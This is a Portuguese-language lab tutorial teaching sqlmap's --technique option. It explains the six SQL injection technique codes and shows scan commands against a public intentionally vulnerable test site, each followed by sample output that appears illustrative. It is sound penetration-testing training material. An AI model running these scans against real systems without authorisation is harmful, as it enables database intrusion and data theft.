Especificar Técnicas de Injeção no sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

SQL injection é uma vulnerabilidade de segurança web que permite a um atacante interferir nas consultas que uma aplicação faz ao seu banco de dados. Geralmente, permite que um atacante visualize dados que normalmente não consegue recuperar. Isso pode incluir dados pertencentes a outros usuários, ou quaisquer outros dados que a própria aplicação consiga acessar. Em muitos casos, um atacante pode modificar ou excluir esses dados, causando alterações persistentes no conteúdo ou comportamento da aplicação.

sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de SQL injection e de tomada de controle de servidores de banco de dados. Ele vem com um poderoso motor de detecção, muitos recursos específicos para o testador de penetração definitivo, e uma ampla gama de opções que vão desde a identificação do banco de dados (database fingerprinting) até a busca de dados no banco de dados, acesso ao sistema de arquivos subjacente e execução de comandos no sistema operacional através de conexões out-of-band.

Neste laboratório, você aprenderá como especificar diferentes técnicas de SQL injection no sqlmap usando a opção --technique. Isso permite controlar quais métodos o sqlmap tenta usar para a injeção, o que pode ser útil para direcionar vulnerabilidades específicas ou otimizar os tempos de varredura.

Compreender os Seis Códigos de Técnicas de SQLi (B, E, U, S, T, Q)

Nesta etapa, você aprenderá sobre os diferentes códigos de técnicas de SQL injection que o sqlmap utiliza. O sqlmap suporta várias técnicas de SQL injection, e você pode especificar quais usar com a opção --technique. Cada técnica é representada por um único caractere.

Os seis principais códigos de técnicas de SQL injection são:

  • B: SQL injection cega baseada em Booleano (Boolean-based blind SQL injection). Esta técnica baseia-se no envio de consultas SQL que retornam um resultado VERDADEIRO ou FALSO, e então observando a resposta da aplicação (por exemplo, alterações no conteúdo da página) para inferir informações.
  • E: SQL injection baseada em Erro (Error-based SQL injection). Esta técnica força o banco de dados a gerar uma mensagem de erro contendo informações sobre a estrutura ou dados do banco de dados.
  • U: SQL injection baseada em consulta UNION (UNION query-based SQL injection). Esta técnica utiliza o operador SQL UNION para combinar os resultados de duas ou mais instruções SELECT em um único conjunto de resultados, permitindo que um atacante recupere dados de outras tabelas.
  • S: SQL injection de consultas empilhadas (Stacked queries SQL injection). Esta técnica permite que um atacante execute múltiplas instruções SQL em uma única consulta, frequentemente usada para executar comandos arbitrários no servidor de banco de dados.
  • T: SQL injection cega baseada em Tempo (Time-based blind SQL injection). Esta técnica baseia-se em fazer o banco de dados pausar por um período especificado com base em uma condição VERDADEIRA ou FALSA, permitindo que um atacante infira informações observando os tempos de resposta.
  • Q: SQL injection de consultas inline (Inline queries SQL injection). Esta técnica envolve a injeção de subconsultas diretamente na consulta original.

Compreender estas técnicas é crucial para usar o sqlmap de forma eficaz e para entender os princípios subjacentes do SQL injection.

Forçar um Teste Cego Baseado em Booleano com --technique=B

Nesta etapa, você aprenderá como forçar o sqlmap a usar apenas a técnica de SQL injection cega baseada em booleano. Isso pode ser útil quando você suspeita que um alvo é vulnerável a este tipo específico de injeção, ou quando deseja reduzir o tempo de varredura focando em uma única técnica.

A opção --technique=B instrui o sqlmap a usar exclusivamente a injeção cega baseada em booleano.

Vamos simular a execução do sqlmap com esta opção. Em um cenário real, você substituiria http://testphp.vulnweb.com/artists.php?id=1 pelo URL do seu alvo. Para este laboratório, apenas demonstraremos o comando.

Abra seu terminal e execute o seguinte comando:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=B --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Especifica o URL do alvo. Este é um site de teste conhecido por ser vulnerável.
  • --technique=B: Força o sqlmap a usar apenas a injeção cega baseada em booleano.
  • --batch: Executa o sqlmap em modo não interativo, aceitando as escolhas padrão.
  • --eta: Exibe o tempo estimado de chegada para cada saída.
  • --skip-waf: Ignora a detecção de firewall de aplicação web (WAF).

Você observará a saída do sqlmap, que indicará que ele está testando primariamente vulnerabilidades cegas baseadas em booleano. A saída mostrará o sqlmap tentando diferentes payloads e analisando as respostas.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
...

A saída confirma que o sqlmap está focando na técnica cega baseada em booleano.

Forçar um Teste Cego Baseado em Tempo com --technique=T

Nesta etapa, você aprenderá como forçar o sqlmap a usar apenas a técnica de SQL injection cega baseada em tempo. Esta técnica é frequentemente usada quando outros métodos, como os baseados em erro ou em booleano, não produzem resultados, especialmente em cenários onde a resposta da aplicação é consistente, independentemente da injeção.

A opção --technique=T instrui o sqlmap a usar exclusivamente a injeção cega baseada em tempo.

Abra seu terminal e execute o seguinte comando:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=T --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Especifica o URL do alvo.
  • --technique=T: Força o sqlmap a usar apenas a injeção cega baseada em tempo.
  • --batch: Executa o sqlmap em modo não interativo.
  • --eta: Exibe o tempo estimado de chegada.
  • --skip-waf: Ignora a detecção de WAF.

Você observará a saída do sqlmap, que mostrará a injeção de payloads que causam atrasos na resposta do servidor. Este método pode ser mais lento que outros devido à necessidade de aguardar os atrasos de tempo.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Time-based blind - Parameter: id'
...

A saída confirma que o sqlmap está agora focando na técnica cega baseada em tempo.

Forçar um Teste Baseado em Consulta UNION com --technique=U

Nesta etapa, você aprenderá como forçar o sqlmap a usar apenas a técnica de SQL injection baseada em consulta UNION. Esta técnica é altamente eficaz quando a aplicação exibe os resultados da consulta SQL diretamente na página, pois permite que um atacante recupere dados de outras tabelas no banco de dados.

A opção --technique=U instrui o sqlmap a usar exclusivamente a injeção baseada em consulta UNION.

Abra seu terminal e execute o seguinte comando:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=U --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Especifica o URL do alvo.
  • --technique=U: Força o sqlmap a usar apenas a injeção baseada em consulta UNION.
  • --batch: Executa o sqlmap em modo não interativo.
  • --eta: Exibe o tempo estimado de chegada.
  • --skip-waf: Ignora a detecção de WAF.

Você observará a saída do sqlmap, que mostrará tentativas de injetar declarações UNION SELECT. Se bem-sucedida, esta técnica pode revelar rapidamente a estrutura e os dados do banco de dados.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'UNION query - Parameter: id'
...

A saída confirma que o sqlmap está agora focando na técnica baseada em consulta UNION.

Executar um Scan com Múltiplas Técnicas usando --technique=BEUST

Nesta etapa, você aprenderá como combinar múltiplas técnicas de SQL injection em um único scan do sqlmap. Esta é frequentemente a abordagem mais prática, pois permite que o sqlmap tente vários métodos para encontrar vulnerabilidades, aumentando as chances de sucesso.

Você pode especificar múltiplas técnicas concatenando seus respectivos códigos após --technique=. Por exemplo, --technique=BEUST instruirá o sqlmap a tentar injeções baseadas em booleano, baseadas em erro, baseadas em consulta UNION, consultas empilhadas (stacked queries) e cegas baseadas em tempo.

Abra seu terminal e execute o seguinte comando:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=BEUST --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Especifica o URL do alvo.
  • --technique=BEUST: Força o sqlmap a usar injeções baseadas em booleano, baseadas em erro, baseadas em consulta UNION, consultas empilhadas e cegas baseadas em tempo.
  • --batch: Executa o sqlmap em modo não interativo.
  • --eta: Exibe o tempo estimado de chegada.
  • --skip-waf: Ignora a detecção de WAF.

Você observará a saída do sqlmap, que mostrará os testes sistemáticos de cada uma das técnicas especificadas. Esta abordagem abrangente é geralmente recomendada para scans iniciais.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
[12:00:02] [INFO] testing 'Error-based - Parameter: id'
[12:00:03] [INFO] testing 'UNION query - Parameter: id'
[12:00:04] [INFO] testing 'Stacked queries - Parameter: id'
[12:00:05] [INFO] testing 'Time-based blind - Parameter: id'
...

A saída confirma que o sqlmap está agora testando múltiplas técnicas conforme especificado.

Resumo

Neste laboratório, você aprendeu com sucesso como especificar e controlar as técnicas de SQL injection utilizadas pelo sqlmap. Você explorou os códigos individuais das técnicas (B, E, U, S, T, Q) e praticou forçar o sqlmap a usar métodos específicos como injeções cegas baseadas em booleano, cegas baseadas em tempo e baseadas em consulta UNION. Finalmente, você aprendeu como combinar múltiplas técnicas para um scan mais abrangente.

Compreender e utilizar a opção --technique no sqlmap permite refinar suas avaliações de vulnerabilidade, otimizar tempos de scan e direcionar tipos específicos de vulnerabilidades de SQL injection de forma mais eficaz. Esta habilidade é crucial para testes de penetração eficientes e precisos.